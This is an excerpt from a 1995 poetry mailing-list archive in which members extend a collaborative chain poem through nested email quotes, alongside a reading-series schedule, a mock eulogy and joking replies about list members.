>> > > > > > shrill as pine left in the acres to be aging
>> > > > > > flawlessly, flutes sing genderless in trio, surprised
>> > > > > > by how quiet effort really is or is not, fast enough to sleep
>> > > > > > through thunderstorms, arm over thigh until light shakes
>> > > > > > petals free of names that rain across known skin forgotten
>> > > > > > alive in our hearse hurts, projective nurse if she is to go ahead
>> > > > > > and dance, composing instead of straining muscles, far eyes

>> > > > > > saunter lope pentecost beam operator will you cockpit
>> > > > > > out, transplanted organs speak, the idiom
>> > > > > > inseams, a snare as solvently unequal-- the power
>> > > > > > uncreased although each snare still trembles quantum
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>> > > > > of familiarity. I am storing radiance for later use
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>> > > > > > among the invoices and the difference engines
>> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
>> > > > > collecting the stamp hinges that come in on the breeze
>> > > > delicate lace flies into pelican Bills in the house
>> > > of narration with partners of good moisture. Here, touch my
>> > > > < ebullience with a token gesture of sauce, of the red stuff.
>> I have a lot of duende in the freezer & we can defrost some
> > woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in our palaver
tossing the shiver of leggings in the window, all farther

↑ Index

305. Herb Levy
SPECIAL AGENCY
Mon 11 Sep 1995

Wystan -

I've seen David Ayres & Charles Bernstein in the same room.

Now that I think of it, you may have as well, but that's another story.

In fact, now that I think of it, I've probably seen David Ayres & Kevin Killian (or was that Dodie?, Kevin usually announces himself) in the same room too (the same room as Dodie, well, maybe), though perhaps I didn't know it at the time.

Wait, now that I think of it, I think I've seen Wystan Curnow, Dodie Bellamy, David Ayre, Charles Bernstein, Kevin Killian, and Marcel Proust all in the same room once.

Oops, now that i think of it, it wasn't Marcel Proust at all, it was George Bowering. I sometimes get the 2 of them confused.

On the other hand, now that I think of it, I've never seen no Rod Smith or Hal Foster, no how.

Herb Levy
[redacted]

↑ Index

306. Bill Luoma
Fall Ear Inn Schedule (fwd)
Mon 11 Sep 1995

OCTOBER & NOVEMBER
AT THE EAR INN

October 7: Rob Fitterman/Dan Farrell Rob Fitterman, editor of Object, no longer raises chinchillas and is the author of Ameresque, Metropolis and Why It Won't Fly. Rob was recently named one of People Magazine's Best Dressed of 1995 and his current project involves nirvana. Dan Farrell is the author of ape and Thimking of You. Chef to the minion of Gormal, Dan lives in Vancouver and has recently been touring with the musical group Nostradamus Now.

October 14: Kenneth Goldsmith/Liz Fodaski Kenneth Goldsmith is a ham radio host with a muckraker's eye and an arsenal of political products. His books include 73 Poems, The Mona Lisa Smiled at Me and Green Apples. Liz Fodaski edits Torque, pronounces her name phonetically and teaches English at St. Ann's in Brooklyn. She is the author of Ouch, Millenarian's Phonebook and Who Dunnit and knows the secret of ruby mining.

October 21: Barrett Watten/Jackson MacLow Barrett Watten co-edits Poetics Journal, teaches Modernism and Cultural Studies at Wayne State University in Detroit and is the author of Plasma, Progress and the forthcoming Frame: 1970-1990. Jackson MacLow has written numerous books including 42 Merzgedichte in Memoriam Kurt Schwitters and Pieces o' Six. MacLow is currently searching the manufacturing sector for pyramid shapes.

October 28: Carla Harryman/Steve Benson Carla Harryman is the author of Animal Instincts and Property and is most famous for her discovery of salt. Monkeywrencher of commodification industries and exalted by mammals, Carla receives information without charge. Steve Benson has written The Buses and The Blue Book. Benson collaborates with Biblical figures without regard to the status of hydroponic farming in Alaska.

November 4: Gale Nelson/Charles Cantalupo Gale Nelson is the author of Stare Decisis (Burning Deck), Little Brass Pump (Leave Books), and The Mystic Cypher (Texture). He is also editor of the journal Cathay. He currently teaches at Brown University. Charles Cantalupo is the author of ANIMA/L WO/MAN

AND OTHER SPIRITS (Spectacular Diseases), The World of Ngugi Wa Thiong'o (Africa World Press) and numerous other volumes of poetry and criticism.

November 11: Jessica Grim/John Keene Jessica Grim is the author of Locale (Potes & Poets, 1995), The Inveterate Life (O Books, 1990), Intrepid Hearts (Coincidence, 1986). She is the co-editor of Big Allis, and lives and works in Oberlin, Ohio. John Keene is the author of the recently published experimental novel, "Annotations" (New Directions, 1995). He is a member of the Dark Room Collective, and managing editor of Callaloo.

November 18: Thomas Meyer/Jonathan Williams Thomas Meyer is the author of Staves, Calends, Legends: The Umbrella of Aesculapius; Sappho's Raft and the Bang Bood-all from The Jargon Society, and Tom Writes This For Robert To Read (St. Lazaire). Jonathan Williams is the founder of The Jargon Society, and the author of An Ear in Bartram's Tree , Quote, Unquote (Ten Speed Press), Dementations of a Shank Mare (Truck Press) and many other books.

November 25: Drew Gardner/Juliana Spahr Drew Gardner is the author of The Stone Walk (St. Lazaire) and The Cover (Leave Books). His work has appeared in Talisman, Notus and O.blek. He is also a musician who has recently performed at the Knitting Factory. Juliana Spahr is the publisher of Leave Books and the author of Nuclear (Leave Books). Recent publications edited include Chain and A Poetics of Criticism. She has recently returned to Manhattan after receiving her Ph.D from SUNY Buffalo.

SATURDAY AFTERNOON READINGS BEGIN AT 3:00PM! $3 contribution goes to readers. THE EAR INN is at 326 Spring Street, NYC. Coordinators for this series are Jeff Hull (October) and Tim Davis and Brian Kim Stefans (November). Continuing support for this series is provided by the Segue Foundation. Funding is also made possible by support from the Literature Program of the New York State Council on the Arts. PLEASE SUPPORT THE EAR-COME EARLY FOR LUNCH, STAY LATE FOR DINNER!

↑ Index

307. Jordan Davis.
Excellent Adventure
Mon 11 Sep 1995

> >> >> >> >> > > > > > In the books were dreams and in the dreams were books.>
> >> >> >> >> > > > > > And flew through windows '95, lightning green and
fine
> >> morning
> >> >> >> >> > > > > > First inverted whistle of a cardinal in the poplar

> >> >> >> >> > > > > > The book and the oboe on the grass under sun and cloud
> >> >> >> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
> >> >> >> >> > > > > > The caravan of windows to what they flee
> >> >> >> >> > > > > > These lace curtains, more gauze than bondage, more
> >> >> >> >> > > > > > Mollycoddled than aware, thin-spined and pebbling
> >> >> >> >> > > > > > but narrow in the waist or waspish Sunday years ago
> >> >> >> >> > > > > > Over coffee topped with whipped lads, the Times blowing
> >> >> >> >> > > > > > & opining, heavy humid air, cum amusing against the
> >> >> >> >> > > > > > bleached ribcage ripcorded into compassed wind
> >> >> >> >> > > > > > kissing the weatherwoman between her beasts as she
> >> >> >> >> > > > > > gives gracious problem: fanatical snacks, landscape
of
> >> >> >> >> > > > > > flicka son of thunderhead and the storm in the glass
of
> >> water'
> >> >s
> >> >> >> >> > > > > > halfway pertinent incision we keep making safe for
> ignoranc
> >e
> >> >> >> >> > > > > > (inspection
> >> >> >> >> > > > > > denied for not knowing how credenza was meant) &
> >> neo-colonizin
> >> >g
> >> >> >> >> > > > > > pockets in small furniture intended house sequentially
> >> several
> >> >> >> >> > > > > > mountains away but it wasn't, you know, a big tango
> >> >> >> >> > > > > > when the attorney general came, selah hales said, "Dias,
> >> oh,ho
> >> >,

> >> >> >> >> > > > > > kook!"
> >> >> >> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the Roof"
> Tobacc
> >o
> >> >> >> >> > > > > > warehouse, curls
> >> >> >> >> > > > > > no ideas but the woven fabric the texture so to speak
wa
s
> >> at t
> >> >he
> >> >> >> >> > > > > > dry cleaners
> >> >> >> >> > > > > > piping hot and gloved-in somewhere unsalted, perched
on
> >> >> >> >> > > > > > prescience
> >> >> >> >> > > > > > the chair is sad, alas, and i've lusted tootles' livers
> >> >> >> >> > > > > > the odor day toy a cello day dis chevys a bo coo daughte
r
> >> chos
> >> >e
> >> >> >> >> > > > > > encore
> >> >> >> >> > > > > > Flaubert because we're waiting all throughout eternity f
or
> >> >> >> >> > > > > > moments to be
> >> >> >> >> > > > > > of such suchness. In the nooks were creams and in the
> strea
> >ms
> >> >> >> >> > > > > > were hooks.
> >> >> >> >> > > > > > All melded like striated film leftover in the pastel see
ds
> >of
> >> >> >> >> > > > > > darkness
> >> >> >> >> > > > > > falling like a counterirritant around the manchineel.
> >> Likewise

> >> >> >> >> > > > > > sandpaper juxtaposed with seasoned instruments and
> >> recently so
> >> >ft
> >> >> >> >> > > > > > fruit
> >> >> >> >> > > > > > of subject's object status, violent transformation
> >> >> >> >> > > > > > la Ste. Therese into beaming cumulus apokoinu switchback
> >> >> >> >> > > > > > and in the u-turns were bookmobiles rounding angles
> >> considered
> >> >> >> >> > > > > > shrill as pine left in the acres to be aging
> >> >> >> >> > > > > > flawlessly, flutes sing genderless in trio, surprised
> >> >> >> >> > > > > > by how quiet effort really is or is not, fast enough
> to sle
> >ep
> >> >> >> >> > > > > > through thunderstorms, arm over thigh until light shakes
> >> >> >> >> > > > > > petals free of names that rain across known skin forgott
en
> >> >> >> >> > > > > > alive in our hearse hurts, projective nurse if she is
> to go
> >> >> ahead
> >> >> >> >> > > > > > and dance, composing instead of straining muscles,
far
> eyes
> >> >> >> >> > > > > > saunter lope pentecost beam operator will you cockpit
> >> >> >> >> > > > > > out, transplanted organs speak, the idiom
> >> >> >> >> > > > > > inseams, a snare as solvently unequal-- the power
> >> >> >> >> > > > > > uncreased although each snare still trembles quantum
> >> >> >> >> > > > > > which explains why the pump is busted and why
> >> >> >> >> > > > > > he preferred whole afternoons on the phone to that
> >> >> >> >> > > > > > crap about not having a cousin on the moon
> >> >> >> >> > > > > > capable of keeping the canoe right way up in the cool
> >> >> >> >> > > > > > prose of the upper Hudson, dinner's at seven so
> >> >> >> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,

> >> >> >> >> > > > > > heats me up in the sleaze," it's like a huge dose
> >> >> >> >> > > > > of familiarity. I am storing radiance for later use
> >> >> >> >> > > > > > I know the war-whoop in each dusty narrative
> >> >> >> >> > > > > > among the invoices and the difference engines
> >> >> >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
> >> >> >> >> > > > > collecting the stamp hinges that come in on the
breeze
> >> >> >> >> > > > delicate lace flies into pelican Bills in the house
> >> >> >> >> > > of narration with partners of good moisture. Here,
> touch my
> >> >> >> >> > > > > < ebullience with a token gesture of sauce, of the
red
> stuff.
> >> >> >> >> I have a lot of duende in the freezer & we can
defrost
> some
> >> >> >> > > woods on a snowy evening, my horse is lovely dark and
de
ep
> >> >> >> as penitence, but let's elude the shakes and drear, get lost in
our
> >> palaver
> >> >> > have tongue will travel not a binge of harmony which in the end
goes
> >> >> meerschaum on us till we blink ourselves to creeping where the
> >> >> sublime is cows bathing in starlight. Give temporality a rest, for
> >> widest space succombs to onslaughts of hidden porchlight in the latitude
> >> that she has given his longitude. Depth is directly stated. A signal
> slated to be read ingratiates politicos and blond ones also shaven vortices
  but does mangling exist or the circle is balboa plus expenses
The brick wall is a golden retriever of spotlights

↑ Index

308. **Jordan Davis.**

Adventure Agency

Mon 11 Sep 1995

In the books were dreams and in the dreams were books.And flew
through windows '95, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds

The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cum amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka son of thunderhead and the storm in the glass of water'
s halfway pertinent incision we keep making safe for ignorance
(inspection denied for not knowing how credenza was meant) &
neo-colonizing pockets in small furniture intended house
sequentially several mountains away but it wasn't, you know, a
big tango when the attorney general came, selah hales said,
"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
Roof" Tobacco warehouse, curls no ideas but the woven fabric the
texture so to speak was at the dry cleaners piping hot and
gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' liversthe odor
day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout
eternity for moments to be of such suchness.
In the nooks were creams and in the stream were hooks
All melded like striated film leftover in the pastel seeds
of darkness falling like a counterirritant around the manchineel.
Likewise seams andpaper juxtaposed with seasoned instruments and
recently soft fruit of subject's object status, violent
transformation la Ste. Therese into beaming cumulus apokoinu
switchback and in the u-turns were bookmobiles rounding angles
considered shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprisedby how quiet
effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why

he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
I know the war-whoop in each dusty narrative
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
of narration with partners of good moisture. Here,touch my
ebullience with a token gesture of sauce, of the red stuff.
I have a lot of duende in the freezer & we can defrost some
woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in
our palaver have tongue will travel not a binge of harmony which
in the end goes meerschaum on us till we blink ourselves to
creeping where the sublime is cows bathing in starlight. Give
temporality a rest, for widest space succombs to onslaughts of
hidden porchlight in the latitude that she has given his
longitude. Depth is directly stated. A signal slated to be read
ingratiates politicos and blond ones also shaven vortices but
does mangling exist or the circle is balboa plus expenses
cabinets away from lust and pedigree and shark fin soup
trailing stiffens buying tears for so many tendons
and at 11:55 the Times' restaurant critic names our favorite place

↑ Index

309. **klobucar**

Dave Ayre As I Remember Him

Mon 11 Sep 1995

*****Dave Ayre As I Remember Him*********

Let me just say a few words in light of this situation. David Ayre was a man. Truly. He could always get the lids off jars; was always scratching and sniffing in places everybody forgot about. Always needed a butter knife. Yet above all: the best person in the whole world. He was the smartest guy I knew. He was old Dave. He was the kindest soul in the community, never asking questions, always willing to lend his hammer. He accepted everybody equally. Every boy loved him. Always had an opinion. Never any skin off his back. Never let the

sun go down. You always knew where to find Dave, even when he told you exactly where he'd be. Could be that Dave had seen it all, because he practised what he pitched. Maybe he was born that way, or, perhaps, it was in his genes. In any case, he was rarely too busy. He knew how to push the right buttons. He sure lived. I think of Dave, holding on, never letting go, no matter how much you begged. Needless to say, I was shocked when I read about him. I had trouble seeing what all the fuss was about. In any case, it's not the Dave that I want to remember. So I say: he will come out in the end. It is silly to think otherwise. He was the stuffing of dreams and, as always, he would continue to make all the difference.

Thank you.

↑ Index

310. Aldon L. Nielsen
Re: putting on ayres
Mon 11 Sep 1995

I wondered about that too, till I spotted George's nearly immediate response -- then I realized that the entire Ayres post was a massive anagram --

When last in Berkeley, by the way, Charles ate his French fries from the other end first and discussed Arabic poetry -- there are witnesses --

↑ Index

311. John Geraets
Entry Phrasing
Mon 11 Sep 1995

Is saying Testing One Two Three (a friend asked) a way of checking out the medium or of gaining attention? And why should those two functions be tied to such trite wordage? I said I'd ask for her.

John
[redacted]

↑ Index

312. Sheila E. Murphy
Re: your mail
Mon 11 Sep 1995

On Mon., 11 Sept. 1995, Jorge wrote:
>On Mon, 11 Sep 1995, Sheila E. Murphy wrote:
>
>> >On Sun, 10 Sep 1995, Louis Cabri wrote:
>> >
>> >> In the books were dreams and in the dreams were books.
>> >> And flew through windows, lightning green and fine morning
>> >> First inverted whistle of a cardinal in the poplar
>> >> The book and the oboe on the grass under sun and cloud
>> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> The caravan of windows to what they flee
>> >> These lace curtains, more gauze than bondage, more
>> >> Mollycoddled than aware, thin-spined and pebbling
>> >> but narrow in the waist or waspish Sunday years ago
>> >> Over coffee topped with whipped cream, the Times blowing
>> >> & opining, heavy humid air, cumulus amusing against the
>> >> bleached ribcage ripcorded into compassed wind
>> >> condemmed.
>> >> promised what she practiced as triangular blue feats soothed
>> >> stunned images into form, saying a need, similar days
>> >> to those not before, yet stored, whose sifted haze
>> >> flushed a hick into dialogue with his own hack's
>> > knowledge of parental damage, but september welcome was
>> delinquent in its spreadsheet folly left on cruise control
> meanwhile lust fuels approximate wound designer's religiosity
with brogues, distilled lip prints, and flagstones of the strained variety

↑ Index

313. Sheila E. Murphy
Re: Sheila & Jorge's Excellent Adventure
Mon 11 Sep 1995

> *S&J's excellent adventure sans chevrons*

Jorge wrote:
>Sheila wrote
>Jorge wrote:
>Sheila wrote
>Jorge wrote:

>Sheila wrote:
>Jorge wrote:
>
>In the books were dreams and in the dreams were books.And flew
>through windows '95, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
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>Mollycoddled than aware, thin-spined and pebbling
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>Over coffee topped with whipped lads, the Times blowing
>& opining, heavy humid air, cum amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her beasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka son of thunderhead and the storm in the glass of water'
>s halfway pertinent incision we keep making safe for ignorance
>(inspection denied for not knowing how credenza was meant) &
>neo-colonizing pockets in small furniture intended house
>sequentially several mountains away but it wasn't, you know, a
>big tango when the attorney general came, selah hales said,
>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>texture so to speak was at the dry cleaners piping hot and
>gloved-in somewhere unsalted, perched on prescience
>the chair is sad, alas, and i've lusted tootles' liversthe odor
>day toy a cello day dis chevys a bo coo daughter chose encore
>Flaubert because we're waiting all throughout
>eternity for moments to be of such suchness.
>In the nooks were creams and in the stream were hooks
>All melded like striated film leftover in the pastel seeds
>of darkness falling like a counterirritant around the manchineel.
>Likewise seams andpaper juxtaposed with seasoned instruments and
>recently soft fruit of subject's object status, violent
>transformation la Ste. Therese into beaming cumulus apokoinu
>switchback and in the u-turns were bookmobiles rounding angles
>considered shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes

>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to go ahead
>and dance, composing instead of straining muscles, far eyes
>saunter lope pentecost beam operator will you cockpit
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
>uncreased although each snare still trembles quantum
>which explains why the pump is busted and why
>he preferred whole afternoons on the phone to that
>crap about not having a cousin on the moon
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
>start swimmin, bud: "lay me down in a wetsuit,
>heats me up in the sleaze," it's like a huge dose
>of familiarity. I am storing radiance for later use
>I know the war-whoop in each dusty narrative
>among the invoices and the difference engines
>Char, Lee, Parr, Kerr, everybody is here and there
>collecting the stamp hinges that come in on the breeze
>delicate lace flies into pelican Bills in the house
>of narration with partners of good moisture. Here,touch my
>ebullience with a token gesture of sauce, of the red stuff.
>I have a lot of duende in the freezer & we can defrost some
>woods on a snowy evening, my horse is lovely dark and deep
>as penitence, but let's elude the shakes and drear, get lost in
>our palaver have tongue will travel not a binge of harmony which
>in the end goes meerschaum on us till we blink ourselves to
>creeping where the sublime is cows bathing in starlight. Give
>temporality a rest, for widest space succombs to onslaughts of
>hidden porchlight in the latitude that she has given his
>longitude. Depth is directly stated. A signal slated to be read
>ingratiates politicos and blond ones also shaven vortices but
>does mangling exist or the circle is balboa plus expenses
>cabinets away from lust and pedigree and shark fin soup
>trailing stiffens buying tears for so many tendons
demitassed to mean full-bodied wine with alcohol removed

↑ Index

314. Sheila E. Murphy

Re: Adventure Agency

Mon 11 Sep 1995

>In the books were dreams and in the dreams were books.And flew
>through windows '95, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
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>sequentially several mountains away but it wasn't, you know, a
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>texture so to speak was at the dry cleaners piping hot and
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>day toy a cello day dis chevys a bo coo daughter chose encore
>Flaubert because we're waiting all throughout
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>considered shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>effort really is or is not, fast enough to sleep

>through thunderstorms, arm over thigh until light shakes
>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to go ahead
>and dance, composing instead of straining muscles, far eyes
>saunter lope pentecost beam operator will you cockpit
>out, transplanted organs speak, the idiom
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>uncreased although each snare still trembles quantum
>which explains why the pump is busted and why
>he preferred whole afternoons on the phone to that
>crap about not having a cousin on the moon
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
>start swimmin, bud: "lay me down in a wetsuit,
>heats me up in the sleaze," it's like a huge dose
>of familiarity. I am storing radiance for later use
>I know the war-whoop in each dusty narrative
>among the invoices and the difference engines
>Char, Lee, Parr, Kerr, everybody is here and there
>collecting the stamp hinges that come in on the breeze
>delicate lace flies into pelican Bills in the house
>of narration with partners of good moisture. Here,touch my
>ebullience with a token gesture of sauce, of the red stuff.
>I have a lot of duende in the freezer & we can defrost some
>woods on a snowy evening, my horse is lovely dark and deep
>as penitence, but let's elude the shakes and drear, get lost in
>our palaver have tongue will travel not a binge of harmony which
>in the end goes meerschaum on us till we blink ourselves to
>creeping where the sublime is cows bathing in starlight. Give
>temporality a rest, for widest space succombs to onslaughts of
>hidden porchlight in the latitude that she has given his
>longitude. Depth is directly stated. A signal slated to be read
>ingratiates politicos and blond ones also shaven vortices but
>does mangling exist or the circle is balboa plus expenses
>cabinets away from lust and pedigree and shark fin soup
>trailing stiffens buying tears for so many tendons
>and at 11:55 the Times' restaurant critic names our favorite place
worth half a bongo, but that's taste when all the favorite pastimes are outlyers

↑ Index

315. Aldon L. Nielsen
Re: " . . ."
Tue 12 Sep 1995

Carolyn -- if you talk Joan into a modem, I will meet you guys there!

(& say hello to Joan for me -- haven't seen her since June)

↑ Index

316. Thomas Bell
Re: Two rengs dont make a write
Tue 12 Sep 1995

But they do.
Makke a rite that is. Jorge wrote
On Sun, 10 Sep 1995, Jorge el Canadiense wrote:

> > El otro Jorge wrote:
> > Sheila wrote:
> > > Jorge wrote:
> > > >> >> >> > > > > > In the books were dreams and in the dreams were
books.>e> > > morning> > > >> >> >> > > > > > First inverted whistle of a
cardinal in the poplar> > > >> >> >> > > > > > The book and the oboe on
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his longitude. Depth is directly stated. A signal> > event of the first
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which i had given Park Place & two railroads for.

Jorge wrote:
In the books were dreams and in the dreams were books.

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order, observed by St. Petersburg poets on horses mounted on cardboard
which i had given Park Place & two railroads for.
for the price Barnum %& Bailey began postmodernism with

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317. Aldon L. Nielsen
Re: Special Delivery
Tue 12 Sep 1995

As someone who once lived on Rod Smith's mail route (& not a one of us thought it accidental that Smith worked the roads around _Man_assas), I am disturbed by this charge that Mr. Smith has stolen a letter. Smith is above all that. Above all, he is honest as the day is, no tin horn like that Zukofsky guy Foster was always complaining about when people were waiting for their mail to arrive, for god's sake.

None of us around here will sit still for such character assassination. Smith has taken no letter. They're all right here where they're supposed to be; we counted 'em up just to make sure. I know for a fact that Rod Smith once walked a mile through the humidity just to return a copy of _Sulfur_ that had mistakenly been delivered to his P.O. box.

It's true that Rod's magazine suddenly sprouted a letter in its title that had not been there before, but Rod won that letter fair and square in a poetry slam at the Audubon Society.

sincerely,

sycorax

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318. **Jorge Guitart**

Re: Two rengs dont make a write

Tue 12 Sep 1995

Attention Loss, branch X
based on Jordan's latest version
but with restored windows and breasts

> >> > > > > > In the books were dreams and in the dreams were books.>
> >> > > > > > And flew through windows lightning green and fine morning
> >> > > > > > First inverted whistle of a cardinal in the poplar
> >> > > > > > The book and the oboe on the grass under sun and cloud
> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
> >> > > > > > The caravan of windows to what they flee
> >> > > > > > These lace curtains, more gauze than bondage, more
> >> > > > > > Mollycoddled than aware, thin-spined and pebbling
> >> > > > > > but narrow in the waist or waspish Sunday years ago
> >> > > > > > Over coffee topped with whipped lads, the Times blowing
> >> > > > > > & opining, heavy humid air, cum amusing against the
> >> > > > > > bleached ribcage ripcorded into compassed wind
> >> > > > > > kissing the weatherwoman between her breasts as she
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> >> > > > > > flicka son of thunderhead and the storm in the glass of water's
> >> > > > > > halfway pertinent incision we keep making safe for ignorance
> >> > > > > > (inspection
> >> > > > > > denied for not knowing how credenza was meant) & neo-colonizing
> >> > > > > > pockets in small furniture intended house sequentially several
> >> > > > > > mountains away but it wasn't, you know, a big tango
> >> > > > > > when the attorney general came, selah hales said, "Dias, oh,ho,
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> >> > > > > > were hooks.
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> >> > > of narration with partners of good moisture. Here, touch my

> >> > > > > < ebullience with a token gesture of sauce, of the red stuff.
> >> I have a lot of duende in the freezer & we can defrost some
> > > woods on a snowy evening, my horse is lovely dark and deep
> as penitence, but let's elude the shakes and drear, get lost in our palaver
> tossing the shiver of leggings in the window, all farther
down the incrementally known by forcing pale ramon to punt

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319. **Jorge Guitart**

Re: Excellent Adventure

Tue 12 Sep 1995

On Mon, 11 Sep 1995, Jordan Davis. wrote:

> > >> >> >> >> > > > > > In the books were dreams and in the dreams were
> books.>
> > >> >> >> >> > > > > > And flew through windows '95, lightning green and
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> > >> >> sublime is cows bathing in starlight. Give temporality a rest, for
> > >> widest space succombs to onslaughts of hidden porchlight in the latitude
> > >> that she has given his longitude. Depth is directly stated. A signal
> > slated to be read ingratiates politicos and blond ones also shaven vortices
> but does mangling exist or the circle is balboa plus expenses
> The brick wall is a golden retriever of spotlights
 could attend own fusion i have not dated affection

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320. Jorge Guitart
Re: Adventure Agency
Tue 12 Sep 1995

On Mon, 11 Sep 1995, Jordan Davis. wrote:

> In the books were dreams and in the dreams were books.And flew
> through windows lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
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> Flaubert because we're waiting all throughout
> eternity for moments to be of such suchness.
> In the nooks were creams and in the stream were hooks
> All melded like striated film leftover in the pastel seeds
> of darkness falling like a counterirritant around the manchineel.
> Likewise seams andpaper juxtaposed with seasoned instruments and
> recently soft fruit of subject's object status, violent
> transformation la Ste. Therese into beaming cumulus apokoinu
> switchback and in the u-turns were bookmobiles rounding angles
> considered shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprisedby how quiet
> effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to go ahead
> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> start swimmin, bud: "lay me down in a wetsuit,

> heats me up in the sleaze," it's like a huge dose
> of familiarity. I am storing radiance for later use
> I know the war-whoop in each dusty narrative
> among the invoices and the difference engines
> Char, Lee, Parr, Kerr, everybody is here and there
> collecting the stamp hinges that come in on the breeze
> delicate lace flies into pelican Bills in the house
> of narration with partners of good moisture. Here,touch my
> ebullience with a token gesture of sauce, of the red stuff.
> I have a lot of duende in the freezer & we can defrost some
> woods on a snowy evening, my horse is lovely dark and deep
> as penitence, but let's elude the shakes and drear, get lost in
> our palaver have tongue will travel not a binge of harmony which
> in the end goes meerschaum on us till we blink ourselves to
> creeping where the sublime is cows bathing in starlight. Give
> temporality a rest, for widest space succombs to onslaughts of
> hidden porchlight in the latitude that she has given his
> longitude. Depth is directly stated. A signal slated to be read
> ingratiates politicos and blond ones also shaven vortices but
> does mangling exist or the circle is balboa plus expenses
> cabinets away from lust and pedigree and shark fin soup
> trailing stiffens buying tears for so many tendons
> and at 11:55 the Times' restaurant critic names our favorite place
& you & your texts may be congestive but we are ingestive, dude!

↑ Index

321. Jorge Guitart

Re: your mail

Tue 12 Sep 1995

On Mon, 11 Sep 1995, Sheila E. Murphy wrote:

> On Mon., 11 Sept. 1995, Jorge wrote:
> >On Mon, 11 Sep 1995, Sheila E. Murphy wrote:
> >
> >> >On Sun, 10 Sep 1995, Louis Cabri wrote:
> >> >
> >> >> In the books were dreams and in the dreams were books.
> >> >> And flew through windows, lightning green and fine morning
> >> >> First inverted whistle of a cardinal in the poplar
> >> >> The book and the oboe on the grass under sun and cloud
> >> >> Go endlessly, an obtuse Prussian blue, it binds
> >> >> The caravan of windows to what they flee

> >> >> These lace curtains, more gauze than bondage, more
> >> >> Mollycoddled than aware, thin-spined and pebbling
> >> >> but narrow in the waist or waspish Sunday years ago
> >> >> Over coffee topped with whipped cream, the Times blowing
> >> >> & opining, heavy humid air, cumulus amusing against the
> >> >> bleached ribcage ripcorded into compassed wind
> >> >> condemmed.
> >> >> promised what she practiced as triangular blue feats soothed
> >> >> stunned images into form, saying a need, similar days
> >> >> to those not before, yet stored, whose sifted haze
> >> >> flushed a hick into dialogue with his own hack's
> >> > knowledge of parental damage, but september welcome was
> >> delinquent in its spreadsheet folly left on cruise control
> > meanwhile lust fuels approximate wound designer's religiosity
> with brogues, distilled lip prints, and flagstones of the strained variety
which would follow synonymous under intention thereby directly inherent

↑ Index

322. **Jorge Guitart**
Re: Sheila & Jorge's Excellent Adventure
Tue 12 Sep 1995

Sheila wrote
> Jorge wrote:
> >Sheila wrote
> >Jorge wrote:
> >Sheila wrote
> >Jorge wrote:
> >Sheila wrote:
> >Jorge wrote:
> >
> >In the books were dreams and in the dreams were books.And flew
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> >These lace curtains, more gauze than bondage, more
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> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped lads, the Times blowing
> >& opining, heavy humid air, cum amusing against the

> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her beasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >flicka son of thunderhead and the storm in the glass of water'
> >s halfway pertinent incision we keep making safe for ignorance
